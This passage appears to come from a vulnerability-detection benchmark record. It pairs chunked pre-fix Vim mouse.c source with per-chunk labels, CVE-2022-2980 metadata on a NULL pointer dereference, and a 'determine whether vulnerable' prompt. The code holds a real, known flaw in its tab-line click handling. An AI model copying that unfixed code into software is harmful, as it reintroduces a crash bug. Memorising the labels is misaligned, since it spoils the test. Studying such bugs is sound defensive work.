wp;\n\t}\n\tif (pwp != NULL)\n\t{\n\t if (popup == FAIL_POPUP)\n\t\treturn NULL;\n\t *rowp -= pwp->w_winrow;\n\t *colp -= pwp->w_wincol;\n\t return pwp;\n\t}\n }\n#endif", " fp = topframe;\n *rowp -= firstwin->w_winrow;\n for (;;)\n {\n\tif (fp->fr_layout == FR_LEAF)\n\t break;\n\tif (fp->fr_layout == FR_ROW)\n\t{\n\t for (fp = fp->fr_child; fp->fr_next != NULL; fp = fp->fr_next)\n\t {\n\t\tif (*colp < fp->fr_width)\n\t\t break;\n\t\t*colp -= fp->fr_width;\n\t }\n\t}\n\telse // fr_layout == FR_COL\n\t{\n\t for (fp = fp->fr_child; fp->fr_next != NULL; fp = fp->fr_next)\n\t {\n\t\tif (*rowp < fp->fr_height)\n\t\t break;\n\t\t*rowp -= fp->fr_height;\n\t }\n\t}\n }\n // When using a timer that closes a window the window might not actually\n // exist.\n FOR_ALL_WINDOWS(wp)\n\tif (wp == fp->fr_win)\n\t{\n#ifdef FEAT_MENU\n\t *rowp -= wp->w_winbar_height;\n#endif\n\t return wp;\n\t}\n return NULL;\n}", "#if defined(NEED_VCOL2COL) || defined(FEAT_BEVAL) || defined(FEAT_PROP_POPUP) \\\n\t|| defined(FEAT_EVAL) || defined(PROTO)\n/*\n * Convert a virtual (screen) column to a character column.\n * The first column is one.\n */\n int\nvcol2col(win_T *wp, linenr_T lnum, int vcol)\n{\n char_u\t *line;\n chartabsize_T cts;", " // try to advance to the specified column\n line = ml_get_buf(wp->w_buffer, lnum, FALSE);\n init_chartabsize_arg(&cts, wp, lnum, 0, line, line);\n while (cts.cts_vcol < vcol && *cts.cts_ptr != NUL)\n {\n\tcts.cts_vcol += win_lbr_chartabsize(&cts, NULL);\n\tMB_PTR_ADV(cts.cts_ptr);\n }\n clear_chartabsize_arg(&cts);", " return (int)(cts.cts_ptr - line);\n}\n#endif", "#if defined(FEAT_EVAL) || defined(PROTO)\n void\nf_getmousepos(typval_T *argvars UNUSED, typval_T *rettv)\n{\n dict_T\t*d;\n win_T\t*wp;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;\n varnumber_T winid = 0;\n varnumber_T winrow = 0;\n varnumber_T wincol = 0;\n linenr_T\tlnum = 0;\n varnumber_T column = 0;", " if (rettv_dict_alloc(rettv) == FAIL)\n\treturn;\n d = rettv->vval.v_dict;", " dict_add_number(d, \"screenrow\", (varnumber_T)mouse_row + 1);\n dict_add_number(d, \"screencol\", (varnumber_T)mouse_col + 1);", " wp = mouse_find_win(&row, &col, FIND_POPUP);\n if (wp != NULL)\n {\n\tint\ttop_off = 0;\n\tint\tleft_off = 0;\n\tint\theight = wp->w_height + wp->w_status_height;", "#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(wp))\n\t{\n\t top_off = popup_top_extra(wp);\n\t left_off = popup_left_extra(wp);\n\t height = popup_height(wp);\n\t}\n#endif\n\tif (row < height)\n\t{\n\t winid = wp->w_id;\n\t winrow = row + 1;\n\t wincol = col + 1;\n\t row -= top_off;\n\t col -= left_off;\n\t if (row >= 0 && row < wp->w_height && col >= 0 && col < wp->w_width)\n\t {\n\t\t(void)mouse_comp_pos(wp, &row, &col, &lnum, NULL);\n\t\tcol = vcol2col(wp, lnum, col);\n\t\tcolumn = col + 1;\n\t }\n\t}\n }\n dict_add_number(d, \"winid\", winid);\n dict_add_number(d, \"winrow\", winrow);\n dict_add_number(d, \"wincol\", wincol);\n dict_add_number(d, \"line\", (varnumber_T)lnum);\n dict_add_number(d, \"column\", column);\n}\n#endif" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [542, 149, 733], "buggy_code_start_loc": [474, 149, 733], "filenames": ["src/mouse.c", "src/testdir/test_tabline.vim", "src/version.c"], "fixing_code_end_loc": [545, 164, 736], "fixing_code_start_loc": [474, 150, 734], "message": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:vim:vim:*:*:*:*:*:*:*:*", "matchCriteriaId": "01913AB4-2601-4722-8852-1E3CB540F78E", "versionEndExcluding": "9.0.0259", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*", "matchCriteriaId": "E30D0E6F-4AE8-4284-8716-991DFA48CC5D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NULL Pointer Dereference in GitHub repository vim/vim prior to 9.0.0259."}, {"lang": "es", "value": "Una Desreferencia de Puntero NULL en el repositorio de GitHub vim/vim versiones anteriores a 9.0.0259."}], "evaluatorComment": null, "id": "CVE-2022-2980", "lastModified": "2023-05-03T12:16:09.687", "metrics": {"cvssMetricV2": null, "cvssMetricV30": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "version": "3.0"}, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "security@huntr.dev", "type": "Secondary"}], "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-08-25T20:15:09.587", "references": [{"source": "security@huntr.dev", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, {"source": "security@huntr.dev", "tags": ["Exploit", "Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://huntr.dev/bounties/6e7b12a5-242c-453d-b39e-9625d563b0ea"}, {"source": "security@huntr.dev", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWOJOA7PZZAMBI5GFTL6PWHXMWSDLUXL/"}, {"source": "security@huntr.dev", "tags": null, "url": "https://security.gentoo.org/glsa/202305-16"}], "sourceIdentifier": "security@huntr.dev", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-476"}], "source": "security@huntr.dev", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-476"}], "source": "nvd@nist.gov", "type": "Secondary"}]}, "github_commit_url": "https://github.com/vim/vim/commit/80525751c5ce9ed82c41d83faf9ef38667bf61b1"}, "type": "CWE-476"}
141
Determine whether the {function_name} code is vulnerable or not.
[ "/* vi:set ts=8 sts=4 sw=4 noet:\n *\n * VIM - Vi IMproved\tby Bram Moolenaar\n *\n * Do \":help uganda\" in Vim to read copying and usage conditions.\n * Do \":help credits\" in Vim to see a list of people who contributed.\n * See README.txt for an overview of the Vim source code.\n */", "/*\n * mouse.c: mouse handling functions\n */", "#include \"vim.h\"", "/*\n * Horiziontal and vertical steps used when scrolling.\n * When negative scroll by a whole page.\n */\nstatic long mouse_hor_step = 6;\nstatic long mouse_vert_step = 3;", " void\nmouse_set_vert_scroll_step(long step)\n{\n mouse_vert_step = step;\n}", " void\nmouse_set_hor_scroll_step(long step)\n{\n mouse_hor_step = step;\n}", "#ifdef CHECK_DOUBLE_CLICK\n/*\n * Return the duration from t1 to t2 in milliseconds.\n */\n static long\ntime_diff_ms(struct timeval *t1, struct timeval *t2)\n{\n // This handles wrapping of tv_usec correctly without any special case.\n // Example of 2 pairs (tv_sec, tv_usec) with a duration of 5 ms:\n //\t t1 = (1, 998000) t2 = (2, 3000) gives:\n //\t (2 - 1) * 1000 + (3000 - 998000) / 1000 -> 5 ms.\n return (t2->tv_sec - t1->tv_sec) * 1000\n\t + (t2->tv_usec - t1->tv_usec) / 1000;\n}\n#endif", "/*\n * Get class of a character for selection: same class means same word.\n * 0: blank\n * 1: punctuation groups\n * 2: normal word character\n * >2: multi-byte word character.\n */\n static int\nget_mouse_class(char_u *p)\n{\n int\t\tc;", " if (has_mbyte && MB_BYTE2LEN(p[0]) > 1)\n\treturn mb_get_class(p);", " c = *p;\n if (c == ' ' || c == '\\t')\n\treturn 0;", " if (vim_iswordc(c))\n\treturn 2;", " // There are a few special cases where we want certain combinations of\n // characters to be considered as a single word. These are things like\n // \"->\", \"/ *\", \"*=\", \"+=\", \"&=\", \"<=\", \">=\", \"!=\" etc. Otherwise, each\n // character is in its own class.\n if (c != NUL && vim_strchr((char_u *)\"-+*/%<>&|^!=\", c) != NULL)\n\treturn 1;\n return c;\n}", "/*\n * Move \"pos\" back to the start of the word it's in.\n */\n static void\nfind_start_of_word(pos_T *pos)\n{\n char_u\t*line;\n int\t\tcclass;\n int\t\tcol;", " line = ml_get(pos->lnum);\n cclass = get_mouse_class(line + pos->col);", " while (pos->col > 0)\n {\n\tcol = pos->col - 1;\n\tcol -= (*mb_head_off)(line, line + col);\n\tif (get_mouse_class(line + col) != cclass)\n\t break;\n\tpos->col = col;\n }\n}", "/*\n * Move \"pos\" forward to the end of the word it's in.\n * When 'selection' is \"exclusive\", the position is just after the word.\n */\n static void\nfind_end_of_word(pos_T *pos)\n{\n char_u\t*line;\n int\t\tcclass;\n int\t\tcol;", " line = ml_get(pos->lnum);\n if (*p_sel == 'e' && pos->col > 0)\n {\n\t--pos->col;\n\tpos->col -= (*mb_head_off)(line, line + pos->col);\n }\n cclass = get_mouse_class(line + pos->col);\n while (line[pos->col] != NUL)\n {\n\tcol = pos->col + (*mb_ptr2len)(line + pos->col);\n\tif (get_mouse_class(line + col) != cclass)\n\t{\n\t if (*p_sel == 'e')\n\t\tpos->col = col;\n\t break;\n\t}\n\tpos->col = col;\n }\n}", "#if defined(FEAT_GUI_MOTIF) || defined(FEAT_GUI_GTK) \\\n\t || defined(FEAT_GUI_MSWIN) \\\n\t || defined(FEAT_GUI_PHOTON) \\\n\t || defined(FEAT_TERM_POPUP_MENU)\n# define USE_POPUP_SETPOS\n# define NEED_VCOL2COL", "/*\n * Translate window coordinates to buffer position without any side effects\n */\n static int\nget_fpos_of_mouse(pos_T *mpos)\n{\n win_T\t*wp;\n int\t\trow = mouse_row;\n int\t\tcol = mouse_col;", " if (row < 0 || col < 0)\t\t// check if it makes sense\n\treturn IN_UNKNOWN;", " // find the window where the row is in\n wp = mouse_find_win(&row, &col, FAIL_POPUP);\n if (wp == NULL)\n\treturn IN_UNKNOWN;\n // winpos and height may change in win_enter()!\n if (row >= wp->w_height)\t// In (or below) status line\n\treturn IN_STATUS_LINE;\n if (col >= wp->w_width)\t// In vertical separator line\n\treturn IN_SEP_LINE;", " if (wp != curwin)\n\treturn IN_UNKNOWN;", " // compute the position in the buffer line from the posn on the screen\n if (mouse_comp_pos(curwin, &row, &col, &mpos->lnum, NULL))\n\treturn IN_STATUS_LINE; // past bottom", " mpos->col = vcol2col(wp, mpos->lnum, col);", " if (mpos->col > 0)\n\t--mpos->col;\n mpos->coladd = 0;\n return IN_BUFFER;\n}\n#endif", "/*\n * Do the appropriate action for the current mouse click in the current mode.\n * Not used for Command-line mode.\n *\n * Normal and Visual Mode:\n * event\t modi-\tposition visual\t change action\n *\t\t fier\tcursor\t\t\t window\n * left press\t -\tyes\t end\t\t yes\n * left press\t C\tyes\t end\t\t yes\t \"^]\" (2)\n * left press\t S\tyes\tend (popup: extend) yes\t \"*\" (2)\n * left drag\t -\tyes\tstart if moved\t no\n * left relse\t -\tyes\tstart if moved\t no\n * middle press\t -\tyes\t if not active\t no\t put register\n * middle press\t -\tyes\t if active\t no\t yank and put\n * right press\t -\tyes\tstart or extend\t yes\n * right press\t S\tyes\tno change\t yes\t \"#\" (2)\n * right drag\t -\tyes\textend\t\t no\n * right relse\t -\tyes\textend\t\t no\n *\n * Insert or Replace Mode:\n * event\t modi-\tposition visual\t change action\n *\t\t fier\tcursor\t\t\t window\n * left press\t -\tyes\t(cannot be active) yes\n * left press\t C\tyes\t(cannot be active) yes\t \"CTRL-O^]\" (2)\n * left press\t S\tyes\t(cannot be active) yes\t \"CTRL-O*\" (2)\n * left drag\t -\tyes\tstart or extend (1) no\t CTRL-O (1)\n * left relse\t -\tyes\tstart or extend (1) no\t CTRL-O (1)\n * middle press\t -\tno\t(cannot be active) no\t put register\n * right press\t -\tyes\tstart or extend\t yes\t CTRL-O\n * right press\t S\tyes\t(cannot be active) yes\t \"CTRL-O#\" (2)\n *\n * (1) only if mouse pointer moved since press\n * (2) only if click is in same buffer\n *\n * Return TRUE if start_arrow() should be called for edit mode.\n */\n int\ndo_mouse(\n oparg_T\t*oap,\t\t// operator argument, can be NULL\n int\t\tc,\t\t// K_LEFTMOUSE, etc\n int\t\tdir,\t\t// Direction to 'put' if necessary\n long\tcount,\n int\t\tfixindent)\t// PUT_FIXINDENT if fixing indent necessary\n{\n static int\tdo_always = FALSE;\t// ignore 'mouse' setting next time\n static int\tgot_click = FALSE;\t// got a click some time back", " int\t\twhich_button;\t// MOUSE_LEFT, _MIDDLE or _RIGHT\n int\t\tis_click = FALSE; // If FALSE it's a drag or release event\n int\t\tis_drag = FALSE; // If TRUE it's a drag event\n int\t\tjump_flags = 0;\t// flags for jump_to_mouse()\n pos_T\tstart_visual;\n int\t\tmoved;\t\t// Has cursor moved?\n int\t\tin_status_line;\t// mouse in status line\n static int\tin_tab_line = FALSE; // mouse clicked in tab line\n int\t\tin_sep_line;\t// mouse in vertical separator line\n int\t\tc1, c2;\n#if defined(FEAT_FOLDING)\n pos_T\tsave_cursor;\n#endif\n win_T\t*old_curwin = curwin;\n static pos_T orig_cursor;\n colnr_T\tleftcol, rightcol;\n pos_T\tend_visual;\n int\t\tdiff;\n int\t\told_active = VIsual_active;\n int\t\told_mode = VIsual_mode;\n int\t\tregname;", "#if defined(FEAT_FOLDING)\n save_cursor = curwin->w_cursor;\n#endif", " // When GUI is active, always recognize mouse events, otherwise:\n // - Ignore mouse event in normal mode if 'mouse' doesn't include 'n'.\n // - Ignore mouse event in visual mode if 'mouse' doesn't include 'v'.\n // - For command line and insert mode 'mouse' is checked before calling\n //\t do_mouse().\n if (do_always)\n\tdo_always = FALSE;\n else\n#ifdef FEAT_GUI\n\tif (!gui.in_use)\n#endif\n\t{\n\t if (VIsual_active)\n\t {\n\t\tif (!mouse_has(MOUSE_VISUAL))\n\t\t return FALSE;\n\t }\n\t else if (State == MODE_NORMAL && !mouse_has(MOUSE_NORMAL))\n\t\treturn FALSE;\n\t}", " for (;;)\n {\n\twhich_button = get_mouse_button(KEY2TERMCAP1(c), &is_click, &is_drag);\n\tif (is_drag)\n\t{\n\t // If the next character is the same mouse event then use that\n\t // one. Speeds up dragging the status line.\n\t // Note: Since characters added to the stuff buffer in the code\n\t // below need to come before the next character, do not do this\n\t // when the current character was stuffed.\n\t if (!KeyStuffed && vpeekc() != NUL)\n\t {\n\t\tint nc;\n\t\tint save_mouse_row = mouse_row;\n\t\tint save_mouse_col = mouse_col;", "\t\t// Need to get the character, peeking doesn't get the actual\n\t\t// one.\n\t\tnc = safe_vgetc();\n\t\tif (c == nc)\n\t\t continue;\n\t\tvungetc(nc);\n\t\tmouse_row = save_mouse_row;\n\t\tmouse_col = save_mouse_col;\n\t }\n\t}\n\tbreak;\n }", " if (c == K_MOUSEMOVE)\n {\n\t// Mouse moved without a button pressed.\n#ifdef FEAT_BEVAL_TERM\n\tui_may_remove_balloon();\n\tif (p_bevalterm)\n\t{\n\t profile_setlimit(p_bdlay, &bevalexpr_due);\n\t bevalexpr_due_set = TRUE;\n\t}\n#endif\n#ifdef FEAT_PROP_POPUP\n\tpopup_handle_mouse_moved();\n#endif\n\treturn FALSE;\n }", "#ifdef FEAT_MOUSESHAPE\n // May have stopped dragging the status or separator line. The pointer is\n // most likely still on the status or separator line.\n if (!is_drag && drag_status_line)\n {\n\tdrag_status_line = FALSE;\n\tupdate_mouseshape(SHAPE_IDX_STATUS);\n }\n if (!is_drag && drag_sep_line)\n {\n\tdrag_sep_line = FALSE;\n\tupdate_mouseshape(SHAPE_IDX_VSEP);\n }\n#endif", " // Ignore drag and release events if we didn't get a click.\n if (is_click)\n\tgot_click = TRUE;\n else\n {\n\tif (!got_click)\t\t\t// didn't get click, ignore\n\t return FALSE;\n\tif (!is_drag)\t\t\t// release, reset got_click\n\t{\n\t got_click = FALSE;\n\t if (in_tab_line)\n\t {\n\t\tin_tab_line = FALSE;\n\t\treturn FALSE;\n\t }\n\t}\n }", " // CTRL right mouse button does CTRL-T\n if (is_click && (mod_mask & MOD_MASK_CTRL) && which_button == MOUSE_RIGHT)\n {\n\tif (State & MODE_INSERT)\n\t stuffcharReadbuff(Ctrl_O);\n\tif (count > 1)\n\t stuffnumReadbuff(count);\n\tstuffcharReadbuff(Ctrl_T);\n\tgot_click = FALSE;\t\t// ignore drag&release now\n\treturn FALSE;\n }", " // CTRL only works with left mouse button\n if ((mod_mask & MOD_MASK_CTRL) && which_button != MOUSE_LEFT)\n\treturn FALSE;", " // When a modifier is down, ignore drag and release events, as well as\n // multiple clicks and the middle mouse button.\n // Accept shift-leftmouse drags when 'mousemodel' is \"popup.*\".\n if ((mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL | MOD_MASK_ALT\n\t\t\t\t\t\t\t | MOD_MASK_META))\n\t && (!is_click\n\t\t|| (mod_mask & MOD_MASK_MULTI_CLICK)\n\t\t|| which_button == MOUSE_MIDDLE)\n\t && !((mod_mask & (MOD_MASK_SHIFT|MOD_MASK_ALT))\n\t\t&& mouse_model_popup()\n\t\t&& which_button == MOUSE_LEFT)\n\t && !((mod_mask & MOD_MASK_ALT)\n\t\t&& !mouse_model_popup()\n\t\t&& which_button == MOUSE_RIGHT)\n\t )\n\treturn FALSE;", " // If the button press was used as the movement command for an operator\n // (eg \"d<MOUSE>\"), or it is the middle button that is held down, ignore\n // drag/release events.\n if (!is_click && which_button == MOUSE_MIDDLE)\n\treturn FALSE;", " if (oap != NULL)\n\tregname = oap->regname;\n else\n\tregname = 0;", " // Middle mouse button does a 'put' of the selected text\n if (which_button == MOUSE_MIDDLE)\n {\n\tif (State == MODE_NORMAL)\n\t{\n\t // If an operator was pending, we don't know what the user wanted\n\t // to do. Go back to normal mode: Clear the operator and beep().\n\t if (oap != NULL && oap->op_type != OP_NOP)\n\t {\n\t\tclearopbeep(oap);\n\t\treturn FALSE;\n\t }", "\t // If visual was active, yank the highlighted text and put it\n\t // before the mouse pointer position.\n\t // In Select mode replace the highlighted text with the clipboard.\n\t if (VIsual_active)\n\t {\n\t\tif (VIsual_select)\n\t\t{\n\t\t stuffcharReadbuff(Ctrl_G);\n\t\t stuffReadbuff((char_u *)\"\\\"+p\");\n\t\t}\n\t\telse\n\t\t{\n\t\t stuffcharReadbuff('y');\n\t\t stuffcharReadbuff(K_MIDDLEMOUSE);\n\t\t}\n\t\tdo_always = TRUE;\t// ignore 'mouse' setting next time\n\t\treturn FALSE;\n\t }\n\t // The rest is below jump_to_mouse()\n\t}", "\telse if ((State & MODE_INSERT) == 0)\n\t return FALSE;", "\t// Middle click in insert mode doesn't move the mouse, just insert the\n\t// contents of a register. '.' register is special, can't insert that\n\t// with do_put().\n\t// Also paste at the cursor if the current mode isn't in 'mouse' (only\n\t// happens for the GUI).\n\tif ((State & MODE_INSERT) || !mouse_has(MOUSE_NORMAL))\n\t{\n\t if (regname == '.')\n\t\tinsert_reg(regname, TRUE);\n\t else\n\t {\n#ifdef FEAT_CLIPBOARD\n\t\tif (clip_star.available && regname == 0)\n\t\t regname = '*';\n#endif\n\t\tif ((State & REPLACE_FLAG) && !yank_register_mline(regname))\n\t\t insert_reg(regname, TRUE);\n\t\telse\n\t\t{\n\t\t do_put(regname, NULL, BACKWARD, 1L,\n\t\t\t\t\t\t fixindent | PUT_CURSEND);", "\t\t // Repeat it with CTRL-R CTRL-O r or CTRL-R CTRL-P r\n\t\t AppendCharToRedobuff(Ctrl_R);\n\t\t AppendCharToRedobuff(fixindent ? Ctrl_P : Ctrl_O);\n\t\t AppendCharToRedobuff(regname == 0 ? '\"' : regname);\n\t\t}\n\t }\n\t return FALSE;\n\t}\n }", " // When dragging or button-up stay in the same window.\n if (!is_click)\n\tjump_flags |= MOUSE_FOCUS | MOUSE_DID_MOVE;", " start_visual.lnum = 0;\n", " if (TabPageIdxs != NULL) // only when initialized\n {\n\t// Check for clicking in the tab page line.\n\tif (mouse_row == 0 && firstwin->w_winrow > 0)\n\t{\n\t if (is_drag)\n\t {\n\t\tif (in_tab_line)\n\t\t{\n\t\t c1 = TabPageIdxs[mouse_col];\n\t\t tabpage_move(c1 <= 0 ? 9999 : c1 < tabpage_index(curtab)\n\t\t\t\t\t\t\t\t ? c1 - 1 : c1);\n\t\t}\n\t\treturn FALSE;\n\t }", "\t // click in a tab selects that tab page\n\t if (is_click\n# ifdef FEAT_CMDWIN\n\t\t && cmdwin_type == 0\n# endif\n\t\t && mouse_col < Columns)\n\t {\n\t\tin_tab_line = TRUE;", "\t\tc1 = TabPageIdxs[mouse_col];", "\t\tif (c1 >= 0)", "\t\t{", "\t\t if ((mod_mask & MOD_MASK_MULTI_CLICK) == MOD_MASK_2CLICK)\n\t\t {\n\t\t\t// double click opens new page\n\t\t\tend_visual_mode_keep_button();\n\t\t\ttabpage_new();\n\t\t\ttabpage_move(c1 == 0 ? 9999 : c1 - 1);\n\t\t }\n\t\t else\n\t\t {\n\t\t\t// Go to specified tab page, or next one if not clicking\n\t\t\t// on a label.\n\t\t\tgoto_tabpage(c1);", "\t\t\t// It's like clicking on the status line of a window.\n\t\t\tif (curwin != old_curwin)\n\t\t\t end_visual_mode_keep_button();\n\t\t }", "\t\t}\n\t\telse\n\t\t{", "\t\t tabpage_T\t*tp;", "\t\t // Close the current or specified tab page.\n\t\t if (c1 == -999)\n\t\t\ttp = curtab;\n\t\t else\n\t\t\ttp = find_tabpage(-c1);\n\t\t if (tp == curtab)\n\t\t {\n\t\t\tif (first_tabpage->tp_next != NULL)\n\t\t\t tabpage_close(FALSE);\n\t\t }\n\t\t else if (tp != NULL)\n\t\t\ttabpage_close_other(tp, FALSE);", "\t\t}\n\t }", "\t return TRUE;\n\t}\n\telse if (is_drag && in_tab_line)\n\t{\n\t c1 = TabPageIdxs[mouse_col];\n\t tabpage_move(c1 <= 0 ? 9999 : c1 - 1);\n\t return FALSE;\n\t}", " }", " // When 'mousemodel' is \"popup\" or \"popup_setpos\", translate mouse events:\n // right button up -> pop-up menu\n // shift-left button -> right button\n // alt-left button -> alt-right button\n if (mouse_model_popup())\n {\n\tif (which_button == MOUSE_RIGHT\n\t\t\t && !(mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL)))\n\t{\n#ifdef USE_POPUP_SETPOS\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t {\n# if defined(FEAT_GUI_MOTIF) || defined(FEAT_GUI_GTK) \\\n\t\t\t || defined(FEAT_GUI_PHOTON)\n\t\tif (!is_click)\n\t\t // Ignore right button release events, only shows the popup\n\t\t // menu on the button down event.\n\t\t return FALSE;\n# endif\n# if defined(FEAT_GUI_MSWIN) || defined(FEAT_GUI_HAIKU)\n\t\tif (is_click || is_drag)\n\t\t // Ignore right button down and drag mouse events. Windows\n\t\t // only shows the popup menu on the button up event.\n\t\t return FALSE;\n# endif\n\t }\n# endif\n# if defined(FEAT_GUI) && defined(FEAT_TERM_POPUP_MENU)\n\t else\n# endif\n# if defined(FEAT_TERM_POPUP_MENU)\n\t if (!is_click)\n\t\t// Ignore right button release events, only shows the popup\n\t\t// menu on the button down event.\n\t\treturn FALSE;\n#endif", "\t jump_flags = 0;\n\t if (STRCMP(p_mousem, \"popup_setpos\") == 0)\n\t {\n\t\t// First set the cursor position before showing the popup\n\t\t// menu.\n\t\tif (VIsual_active)\n\t\t{\n\t\t pos_T m_pos;", "\t\t // set MOUSE_MAY_STOP_VIS if we are outside the\n\t\t // selection or the current window (might have false\n\t\t // negative here)\n\t\t if (mouse_row < curwin->w_winrow\n\t\t\t || mouse_row\n\t\t\t\t > (curwin->w_winrow + curwin->w_height))\n\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t else if (get_fpos_of_mouse(&m_pos) != IN_BUFFER)\n\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t else\n\t\t {\n\t\t\tif ((LT_POS(curwin->w_cursor, VIsual)\n\t\t\t\t && (LT_POS(m_pos, curwin->w_cursor)\n\t\t\t\t\t|| LT_POS(VIsual, m_pos)))\n\t\t\t\t|| (LT_POS(VIsual, curwin->w_cursor)\n\t\t\t\t && (LT_POS(m_pos, VIsual)\n\t\t\t\t || LT_POS(curwin->w_cursor, m_pos))))\n\t\t\t{\n\t\t\t jump_flags = MOUSE_MAY_STOP_VIS;\n\t\t\t}\n\t\t\telse if (VIsual_mode == Ctrl_V)\n\t\t\t{\n\t\t\t getvcols(curwin, &curwin->w_cursor, &VIsual,\n\t\t\t\t\t\t &leftcol, &rightcol);\n\t\t\t getvcol(curwin, &m_pos, NULL, &m_pos.col, NULL);\n\t\t\t if (m_pos.col < leftcol || m_pos.col > rightcol)\n\t\t\t\tjump_flags = MOUSE_MAY_STOP_VIS;\n\t\t\t}\n\t\t }\n\t\t}\n\t\telse\n\t\t jump_flags = MOUSE_MAY_STOP_VIS;\n\t }\n\t if (jump_flags)\n\t {\n\t\tjump_flags = jump_to_mouse(jump_flags, NULL, which_button);\n\t\tupdate_curbuf(VIsual_active ? UPD_INVERTED : UPD_VALID);\n\t\tsetcursor();\n\t\tout_flush(); // Update before showing popup menu\n\t }\n# ifdef FEAT_MENU\n\t show_popupmenu();\n\t got_click = FALSE;\t// ignore release events\n# endif\n\t return (jump_flags & CURSOR_MOVED) != 0;\n#else\n\t return FALSE;\n#endif\n\t}\n\tif (which_button == MOUSE_LEFT\n\t\t\t\t&& (mod_mask & (MOD_MASK_SHIFT|MOD_MASK_ALT)))\n\t{\n\t which_button = MOUSE_RIGHT;\n\t mod_mask &= ~MOD_MASK_SHIFT;\n\t}\n }", " if ((State & (MODE_NORMAL | MODE_INSERT))\n\t\t\t && !(mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL)))\n {\n\tif (which_button == MOUSE_LEFT)\n\t{\n\t if (is_click)\n\t {\n\t\t// stop Visual mode for a left click in a window, but not when\n\t\t// on a status line\n\t\tif (VIsual_active)\n\t\t jump_flags |= MOUSE_MAY_STOP_VIS;\n\t }\n\t else if (mouse_has(MOUSE_VISUAL))\n\t\tjump_flags |= MOUSE_MAY_VIS;\n\t}\n\telse if (which_button == MOUSE_RIGHT)\n\t{\n\t if (is_click && VIsual_active)\n\t {\n\t\t// Remember the start and end of visual before moving the\n\t\t// cursor.\n\t\tif (LT_POS(curwin->w_cursor, VIsual))\n\t\t{\n\t\t start_visual = curwin->w_cursor;\n\t\t end_visual = VIsual;\n\t\t}\n\t\telse\n\t\t{\n\t\t start_visual = VIsual;\n\t\t end_visual = curwin->w_cursor;\n\t\t}\n\t }\n\t jump_flags |= MOUSE_FOCUS;\n\t if (mouse_has(MOUSE_VISUAL))\n\t\tjump_flags |= MOUSE_MAY_VIS;\n\t}\n }", " // If an operator is pending, ignore all drags and releases until the\n // next mouse click.\n if (!is_drag && oap != NULL && oap->op_type != OP_NOP)\n {\n\tgot_click = FALSE;\n\toap->motion_type = MCHAR;\n }", " // When releasing the button let jump_to_mouse() know.\n if (!is_click && !is_drag)\n\tjump_flags |= MOUSE_RELEASED;", " // JUMP!\n jump_flags = 